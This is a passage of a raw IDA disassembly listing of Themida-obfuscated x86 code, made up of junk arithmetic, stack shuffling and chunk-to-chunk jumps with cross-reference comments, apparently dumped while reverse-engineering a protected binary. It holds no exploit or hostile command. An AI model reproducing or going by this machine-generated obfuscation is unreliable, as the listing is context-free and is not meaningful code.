15D809B9h jmp loc_55C47A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D88C: ; CODE XREF: Themida_:0056D492j pop esi neg edi add edi, 286907F3h and edi, 4DCC173Eh add edi, 0F6B7F902h add [esp+4], edi pop edi mov esi, [esp] add esp, 4 add esi, 4 sub esp, 4 mov [esp], edi mov edi, 49A65CE5h sub edi, 49A65CE3h push ecx jmp loc_566596 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D8CF: ; CODE XREF: sub_56755A+8590j add esi, 4 add esi, 4 jmp loc_56CF13 ; --------------------------------------------------------------------------- loc_55D8E0: ; CODE XREF: sub_56755A-765Cj mov esp, [esp+12h+var_14+2] jmp sub_55EF75 ; END OF FUNCTION CHUNK FOR sub_56755A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55D8EE: ; CODE XREF: Themida_:0055F68Cj push edx push 7DDB62CDh pop edx jmp loc_56A791 ; --------------------------------------------------------------------------- loc_55D8FA: ; CODE XREF: Themida_:0056B2B0j push edx jmp loc_55FF5B ; --------------------------------------------------------------------------- loc_55D900: ; CODE XREF: Themida_:00567083j mov ebp, 71925D27h xor ebp, 5CF6600h shr ebp, 6 or ebp, 41B5344Dh sub ebp, 1FC71609h or edi, ebp pop ebp inc edi push esi mov esi, 21F121Eh dec esi jmp loc_55D073 ; --------------------------------------------------------------------------- loc_55D92A: ; CODE XREF: Themida_:0055F5F5j mov eax, 4 add edi, eax jmp loc_56EA23 ; --------------------------------------------------------------------------- loc_55D936: ; CODE XREF: Themida_:005669D8j btr [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_55D941: ; CODE XREF: sub_56D164-BBCFj pop ecx add ebp, esi push 731h mov [esp+4+var_4], ebx mov ebx, 530F4608h push ecx mov ecx, 1FEE412Ch or ebx, ecx pop ecx sub ebx, 0FFFFFFFFh xor ebx, 107E58F9h add ebp, ebx pop ebx pop esi xchg ebp, [esp-4+arg_0] jmp loc_56751C ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D96F: ; CODE XREF: sub_56755A+9255j add esp, 4 jmp loc_55F314 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_55D977: ; CODE XREF: sub_561ED8-22E4j pop edx sub bl, al sub bl, 68h add bl, 6Ch movzx eax, al pop dword ptr [edi+eax*4] jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_55D98B: ; CODE XREF: Themida_:0056E508j add eax, 4 jmp loc_56A049 ; --------------------------------------------------------------------------- loc_55D993: ; CODE XREF: Themida_:00562AC1j mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55D9A0: ; CODE XREF: Themida_:0056E2CFj pop edx jmp loc_56AB6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_55D9A6: ; CODE XREF: sub_562F50+81D4j mov [esp+0], eax mov eax, 49C65BFCh xor eax, 30C40DB4h sub eax, 6745E2BAh shr eax, 4 jmp loc_561993 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D9C0: ; CODE XREF: sub_56755A+7BFj mov ecx, 354815F8h sub ecx, 354815F4h add edi, 3EA72C31h add edi, ecx sub edi, 3EA72C31h pop ecx push edi push 7345h jmp loc_56E555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D9E5: ; CODE XREF: Themida_:0056ACB4j push edx mov edx, 2 add eax, edx pop edx push eax push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_562102 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_55D9FC: ; CODE XREF: sub_56B62C-D915j not ah and ah, 7Fh jmp loc_564E42 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673DF loc_55DA06: ; CODE XREF: sub_5673DF-8C06j mov ecx, [esp+0] jmp loc_562678 ; END OF FUNCTION CHUNK FOR sub_5673DF ; --------------------------------------------------------------------------- loc_55DA0E: ; CODE XREF: Themida_:00561382j push edi mov edi, 49DC2413h and edi, 86DF4h xor edi, 59F10E42h push eax mov eax, 24194EA2h xor edi, eax pop eax add eax, 68C123AEh add eax, edi sub eax, 68C123AEh mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 xchg eax, [esp] pop esp mov cx, [esp] sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 jmp loc_56B6F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DA64: ; CODE XREF: sub_56755A+63B6j pop esp mov [esp+0Eh+var_10+2], edi push [esp+0Eh+var_C+2] pop edi pop [esp+0Eh+var_10+2] push [esp+0Ah+var_C+2] mov eax, [esp+0Eh+var_10+2] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_568EF4 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55DA88 proc near ; CODE XREF: sub_56755A-1395j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055BBFD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055C1D6 SIZE 0000005F BYTES ; FUNCTION CHUNK AT 0055E53A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055F1D5 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 00563CCD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056432C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005646D0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005656D1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A295 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C526 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056F58F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056FC86 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570674 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00570717 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebx jmp loc_56432C sub_55DA88 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DA96: ; CODE XREF: sub_56755A-6328j pop ecx push [esp+0Eh+var_10+2] pop ebp add esp, 4 add esi, 1 push ecx mov ecx, 52BD707Dh sub ecx, 47AB2D94h shr ecx, 7 add ecx, 7B5A63F5h sub ecx, 983B1A00h xor esi, ecx mov ecx, [esp+0Eh+var_10+2] add esp, 4 jmp loc_55E2A6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55DAC9: ; CODE XREF: Themida_:0055B754j mov [esp], esp add dword ptr [esp], 4 pop eax push ebp jmp loc_56B2E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DADA: ; CODE XREF: sub_56755A-8FC4j mov ebp, 4 mov edi, ebp pop ebp push 7E57h mov [esp+0Ah+var_C+2], eax mov eax, 7E1910F0h jmp loc_5667DD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_55DAF4: ; CODE XREF: sub_568D4B-850j push esp pop eax push ecx jmp loc_55BF4B ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_55DAFC: ; CODE XREF: Themida_:0055E9D6j mov ecx, esi pop esi jmp loc_5637EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_55DB04: ; CODE XREF: sub_561C3A-262Dj add esp, 4 jmp loc_566D50 ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- loc_55DB0C: ; CODE XREF: Themida_:00562125j mov esi, 66942306h sub esi, 3861E943h jmp loc_566671 ; --------------------------------------------------------------------------- loc_55DB1C: ; CODE XREF: Themida_:0055B61Ej mov ecx, [esp] jmp loc_560C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DB24: ; CODE XREF: sub_56755A-A32Dj mov eax, esp sub esp, 4 mov [esp+24h+var_24], esi push ecx push 0D986035h pop ecx push edx mov edx, 59C50527h not edx push eax mov eax, 6C5C5A03h sub edx, eax pop eax or edx, 77DA6A11h and edx, 0E5C68D5h add edx, 0C31039Ah jmp loc_56C3FF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55DB5E: ; CODE XREF: Themida_:0055FF1Dj pop ebx sub esp, 4 mov [esp], esi push edx push 51C34F46h pop edx xor edx, 2C48011Dh xor edx, 33597E68h sub esp, 4 jmp loc_55F669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_55DB83: ; CODE XREF: sub_563616+5CE6j xchg ebx, [esp+8+var_8] mov esp, [esp+8+var_8] div cx jmp loc_568ACF ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55DBA1: ; CODE XREF: Themida_:0056D52Bj push edi jmp loc_5671D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_55DBA7: ; CODE XREF: sub_563973+23ADj mov edi, esp add edi, 4 push 6EF7h mov [esp+4+var_4], ecx mov ecx, 4 add edi, ecx mov ecx, [esp+4+var_4] add esp, 4 push edi push dword ptr [esp+4] mov edi, [esp+8+var_8] jmp loc_567EB6 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DBD4: ; CODE XREF: sub_56755A+7234j dec ebx sub ebx, 4BFDA871h mov esi, ebx jmp loc_56B4B3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55DBE2: ; CODE XREF: Themida_:00568599j mov [esp], ebp push 2 jmp loc_56DA9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565DC4 loc_55DBEF: ; CODE XREF: sub_565DC4+1j push edi sub esp, 4 mov [esp+0Ch+var_C], esi mov esi, 22401360h mov edi, esi jmp loc_56808A ; END OF FUNCTION CHUNK FOR sub_565DC4 ; --------------------------------------------------------------------------- loc_55DC02: ; CODE XREF: Themida_:00564DDAj pop ebx xchg eax, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push 59C2h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55D409 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 3D27720h push edx mov edx, 0FFFFFFFFh add ebx, edx mov edx, [esp] add esp, 4 push ebp mov ebp, 1 sub ebx, ebp pop ebp add ebx, 25C6BE9Eh push edx mov edx, 20A8752Eh add esi, edx jmp loc_56A8E3 ; --------------------------------------------------------------------------- loc_55DC62: ; CODE XREF: Themida_:0056529Fj mov ebp, edx pop edx sub ecx, 2C622297h jmp loc_55CDB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DC70: ; CODE XREF: sub_56755A+746Aj push edi jmp loc_567A0F ; --------------------------------------------------------------------------- loc_55DC76: ; CODE XREF: sub_56755A-77D0j mov esp, [esp+30h+var_30] mov [esp+30h+var_30], ebp mov ebp, 689450FCh jmp loc_564CC0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55DC86: ; CODE XREF: Themida_:0056A7C1j mov edx, 2 jmp loc_55F758 ; --------------------------------------------------------------------------- loc_55DC90: ; CODE XREF: Themida_:0056B73Cj mov ebx, 211E325Bh xor ebx, 2DE535A9h sub ecx, ebx mov ebx, [esp] jmp loc_56D6C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_55DCA5: ; CODE XREF: sub_566504-1FFBj xchg ecx, [esp+0] jmp loc_56E2EE ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_55DCAD: ; CODE XREF: sub_56E75E+9j mov ebp, 4 add esi, 15941116h add esi, 7DE026CEh jmp loc_567187 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- loc_55DCC3: ; CODE XREF: Themida_:00569F59j push 55F0h mov [esp], ebp jmp loc_563F9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DCD0: ; CODE XREF: sub_56755A-15Fj mov edx, esp jmp loc_56ECA2 ; --------------------------------------------------------------------------- loc_55DCD7: ; CODE XREF: sub_56755A-14D5j add ebx, edi jmp loc_5631AB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_55DCDE: ; CODE XREF: sub_560B67-40C8j add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp+8+var_8] jmp loc_5621E7 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- loc_55DCEF: ; CODE XREF: Themida_:0055B64Dj dec ebx jmp loc_56E5AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DCF5: ; CODE XREF: sub_56755A-5232j push [esp+30h+var_30] pop esi add esp, 4 xor edx, eax jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55DD03: ; CODE XREF: sub_56755A+8D66j push [esp+2Ch+var_2C] mov ecx, [esp+30h+var_30] push eax mov eax, esp jmp loc_56BDC0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_55DD11: ; CODE XREF: sub_56B62C-DF5j inc ah dec ah dec ah jmp loc_55D9FC ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_55DD1C: ; CODE XREF: sub_56A500-E141j mov [esp+0Ch+var_C], edi push esp pop edi push edx jmp loc_5653C7 ; END OF FUNCTION CHUNK FOR sub_56A500 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_55DD27 proc near ; CODE XREF: sub_55EAC4+6B36j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F7AD SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00561D4C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00562874 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565902 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056BF80 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FCF3 SIZE 0000000D BYTES push ebp mov ebp, esp push ebx mov ebx, 69535B44h push eax mov eax, 3E82352Fh dec eax and eax, 71C74BFFh shr eax, 6 shr eax, 8 or eax, 5A4A1CEDh xor eax, 331985ADh jmp loc_562874 sub_55DD27 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DD51: ; CODE XREF: sub_56755A-5DECj xor edi, [esp+34h+var_34] jmp loc_565F3D ; --------------------------------------------------------------------------- loc_55DD59: ; CODE XREF: sub_56755A+4A42j mov edi, edx pop edx jmp sub_56BA15 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55DD61: ; CODE XREF: Themida_:0056EF7Fj pop ebx dec ch push ebx mov bl, ch not bl mov ch, bl pop ebx shr ch, 6 push eax push ecx mov ch, 55h xor ch, 7Ch mov ah, ch jmp loc_56868D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA40 loc_55DD7D: ; CODE XREF: sub_56AA40+6j mov esi, ebp mov ebp, [esp+4+var_4] jmp loc_56DFDF ; END OF FUNCTION CHUNK FOR sub_56AA40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55DD87: ; CODE XREF: sub_56CB7D+3ABEj xchg edi, [esp+0Ch+var_C] jmp loc_560364 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DD8F: ; CODE XREF: sub_56755A+7435j pop ebx pop ebx push ecx push edx push ebx mov ebx, 5A9C0990h or ebx, 3EF0BB7h add ebx, 34527097h or ebx, 298547FBh add ebx, 462A8003h jmp loc_56F3A3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_55DDB6: ; CODE XREF: sub_5B3505-47F47j add ebx, 4 sub ebx, 4 xchg ebx, [esp+2Eh+var_2E] pop esp mov [esp], edi mov edi, esp add edi, 4 jmp sub_56755A ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_55DDD3: ; CODE XREF: sub_56F653-B1F1j push ecx jmp loc_56A3D0 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DDD9: ; CODE XREF: sub_56755A-AF2Fj add ebx, 7F891F62h add ebx, 0AFA398Bh add edx, ebx pop ebx add esi, 25E23890h add esi, edx jmp loc_56EA18 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_55DDF5: ; CODE XREF: sub_56E55E-3418j add esi, 4 sub esi, 4 xchg esi, [esp+8+var_8] jmp loc_56CD2B ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56970A loc_55DE09: ; CODE XREF: sub_56970A-8E82j xor eax, 0EF07B0E5h sub esi, eax pop eax mov edx, [esp+0] jmp sub_56EF52 ; END OF FUNCTION CHUNK FOR sub_56970A ; --------------------------------------------------------------------------- loc_55DE19: ; CODE XREF: Themida_:0056FC36j pop ecx xor ebp, eax mov eax, [esp] jmp loc_561F4F ; --------------------------------------------------------------------------- loc_55DE24: ; CODE XREF: Themida_:0055C113j div cl movzx cx, ah push small 1883h mov [esp], cx jmp loc_56AE25 ; =============== S U B R O U T I N E ======================================= sub_55DE37 proc near ; CODE XREF: sub_55EA9F+9E8Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0055C08A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561928 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005663F4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568516 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056F1E2 SIZE 00000018 BYTES sub esp, 4 mov [esp+0], edx push [esp+arg_0] pop edx jmp loc_55C08A sub_55DE37 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_55DE4A: ; CODE XREF: Themida_:0056AAECj dec eax not eax sub eax, 0BFD4211Bh sub ecx, eax pop eax push dword ptr [esp] pop eax add esp, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor bl, al push edx push 1C5Fh mov [esp], edi mov edi, 1C3831D0h mov edx, 1C383208h sub edx, 74145E11h sub edx, 408177C8h sub edx, edi add edx, 408177C8h add edx, 74145E11h pop edi push edi mov edi, 23E75EFEh sub edx, edi pop edi sub edx, 2AFB7EB8h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], edi jmp loc_569317 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562462 loc_55DED1: ; CODE XREF: sub_562462+357Bj pop ebp add ebx, eax pop eax xchg ebx, [esp-4+arg_0] mov esp, [esp-4+arg_0] xor byte ptr [esp-4+arg_0], al pushf jmp loc_5699E6 ; END OF FUNCTION CHUNK FOR sub_562462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DEE4: ; CODE XREF: sub_56755A-554Cj pop esp push ebx xor [esp+16h+var_18+2], ebp xor ebp, [esp+16h+var_18+2] jmp loc_5692AA ; --------------------------------------------------------------------------- loc_55DEF1: ; CODE XREF: sub_56755A-3F9Aj pop ecx add esp, 4 push esi mov esi, 4 add ebx, esi mov esi, [esp+12h+var_14+2] add esp, 4 xor ebx, [esp+0Eh+var_10+2] jmp loc_5658DE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56970A loc_55DF0B: ; CODE XREF: sub_56970A-9F31j pop esi add esi, 1E5DEEDh mov ebp, esi pop esi jmp loc_55C86A ; END OF FUNCTION CHUNK FOR sub_56970A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DF1A: ; CODE XREF: sub_56755A+1B9Aj mov [esp+0Eh+var_10+2], ecx jmp loc_56A5A2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55DF22: ; CODE XREF: Themida_:00569048j mov bl, ch mov ah, bl pop ebx jmp loc_560455 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DF2C: ; CODE XREF: sub_56755A+3A0j sub edi, 1 xor edi, 68F04AC6h xor edi, 52D71797h sub edx, 0FC72D3Bh sub edx, 4EC143Dh sub edx, edi add edx, 4EC143Dh jmp loc_55C726 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_55DF54: ; CODE XREF: sub_56D5AE-A6F8j add esp, 4 ; END OF FUNCTION CHUNK FOR sub_56D5AE ; =============== S U B R O U T I N E ======================================= sub_55DF57 proc near ; CODE XREF: sub_56755A-B3A4j push ebx jmp sub_56558C sub_55DF57 endp ; --------------------------------------------------------------------------- loc_55DF5D: ; CODE XREF: Themida_:00565478j add edx, edi sub edx, 58F00797h add edx, 2AFB7EB8h push ebx mov ebx, 23E75EFEh add edx, ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov [edx], al jmp loc_57021D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1C0 loc_55DF91: ; CODE XREF: sub_56E1C0+5j pop ebx xchg bh, byte ptr [esp-4+arg_0] mov ebx, [esp-4+arg_0] jmp loc_56CC11 ; END OF FUNCTION CHUNK FOR sub_56E1C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55DF9D: ; CODE XREF: sub_56755A-B2DCj push 12C3h mov [esp+4+var_4], ecx push 2F082FEDh pop ecx jmp loc_56B841 ; --------------------------------------------------------------------------- loc_55DFB0: ; CODE XREF: sub_56755A-5F5Ej add ecx, edx mov edx, [esp+4+var_4] add esp, 4 xor ecx, 5A6C7328h neg ecx or ecx, 12CE7929h xor ecx, 0F7CFFD3Bh add eax, ecx pop ecx xchg eax, [esp-4+arg_0] pop esp add eax, 0B8E18F26h add ecx, eax pop eax add ecx, 2 push eax mov eax, esp push esi mov esi, 32BB0556h inc esi shr esi, 5 add esi, 0FE6A27DAh add eax, esi pop esi push ecx push ebp jmp loc_561956 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564E24 loc_55DFFE: ; CODE XREF: sub_564E24+3j mov [esp+4+var_4], eax jmp loc_569936 ; END OF FUNCTION CHUNK FOR sub_564E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_55E006: ; CODE XREF: sub_55FE13-1421j xor cl, 6Ch add dl, 0AEh add dl, cl sub dl, 0AEh pop ecx shr dl, 2 add dl, 48h xor al, dl pop edx sub bl, 99h add bl, 45h add bl, al push cx jmp loc_55F85A ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E02A: ; CODE XREF: sub_56755A-13C9j xchg esi, [esp+0] pop esp mov [esp-4+arg_0], esi mov esi, esp push edi mov edi, 4 add esi, edi jmp loc_56D81F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E040: ; CODE XREF: Themida_:0055FDD7j push 571Ah mov [esp], edx mov dl, 8Ah mov bl, 0D3h add bl, 4Bh add bl, dl sub bl, 4Bh pop edx push edx mov dh, bl mov ch, dh mov edx, [esp] add esp, 4 pop ebx push ecx mov ch, 36h add ch, 6Ah inc ch xor ch, 0F6h add ch, 84h xor ch, 0Eh sub al, ch mov ecx, [esp] add esp, 4 jmp loc_5681C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E07F: ; CODE XREF: sub_56755A+3E23j add dh, 69h add dh, 5Ch shr dh, 2 push ebx jmp loc_55BB92 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E08E: ; CODE XREF: Themida_:00569F70j mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55E09A: ; CODE XREF: Themida_:0055EDE8j push dword ptr [esp+4] jmp loc_562A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_55E0A3: ; CODE XREF: sub_55CD7B+5C54j pop dword ptr [esp+0] mov esp, [esp-4+arg_0] push 6E17h mov [esp+0], edx mov edx, 25B51330h jmp loc_563A20 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D65 loc_55E0BB: ; CODE XREF: sub_560D65+E8DDj sub eax, 44630BD8h pop ebx sub esp, 4 mov [esp+4+var_4], ebx jmp loc_56BA47 ; END OF FUNCTION CHUNK FOR sub_560D65 ; --------------------------------------------------------------------------- loc_55E0CC: ; CODE XREF: Themida_:0056D42Cj pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_564452 ; --------------------------------------------------------------------------- loc_55E0DB: ; CODE XREF: Themida_:0056C57Cj push edi mov edi, 4 add eax, edi pop edi jmp loc_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E0E9: ; CODE XREF: sub_56755A-4AE0j mov ebp, 14EE1E24h or ebp, 687B7B4Bh inc ebp shl ebp, 4 add ebp, 764052E3h add ecx, ebp pop ebp jmp loc_55F725 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E106: ; CODE XREF: Themida_:0056B091j mov eax, 427F22A3h jmp loc_562393 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55E110: ; CODE XREF: sub_56E89A+7BFj pop edx shl edx, 4 xor edx, 59983B3Ah sub edx, 0B4DE237Ah mov eax, edx pop edx add eax, edi push ebx push 0 jmp loc_55B980 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E130: ; CODE XREF: sub_56755A+265Fj sub ecx, 7817375Ch push esi jmp loc_56FA57 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E13C: ; CODE XREF: Themida_:0055E746j xor edi, [esp] jmp loc_5693D1 ; --------------------------------------------------------------------------- loc_55E144: ; CODE XREF: Themida_:00568830j mov edx, 16E20D48h push edx jmp loc_5706C7 ; --------------------------------------------------------------------------- loc_55E14F: ; CODE XREF: Themida_:0055EB4Ej sub edx, 35497B71h jmp loc_567536 ; --------------------------------------------------------------------------- loc_55E15A: ; CODE XREF: Themida_:0056E9D8j mov [esp], esi mov esi, 23C23706h not esi sub esi, 51B557D0h and esi, 22E40242h push edx mov edx, 2800004h xor esi, edx pop edx jmp loc_57044E ; --------------------------------------------------------------------------- loc_55E17E: ; CODE XREF: Themida_:0056F36Dj mov edx, [esp] add esp, 4 jmp loc_560F96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E189: ; CODE XREF: sub_56755A-1CC3j mov ebx, ecx pop ecx xor esi, ebx jmp loc_560581 ; --------------------------------------------------------------------------- loc_55E193: ; CODE XREF: sub_56755A+3B2Ej add edx, esi pop esi xor edx, [esp-4+arg_0] xor [esp-4+arg_0], edx jmp loc_55B93D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E1A1: ; CODE XREF: Themida_:0056B627j pop ebp sub ecx, edx pop edx add eax, ecx jmp loc_56CA34 ; --------------------------------------------------------------------------- loc_55E1AC: ; CODE XREF: Themida_:0056CE64j push ecx push edx mov edx, 78E5061h or edx, 1FCD0D19h not edx shr edx, 2 sub edx, 8B56D69Dh mov ecx, edx pop edx add eax, ecx pop ecx add ebp, eax mov eax, [esp] add esp, 4 push edi jmp loc_5698EA ; 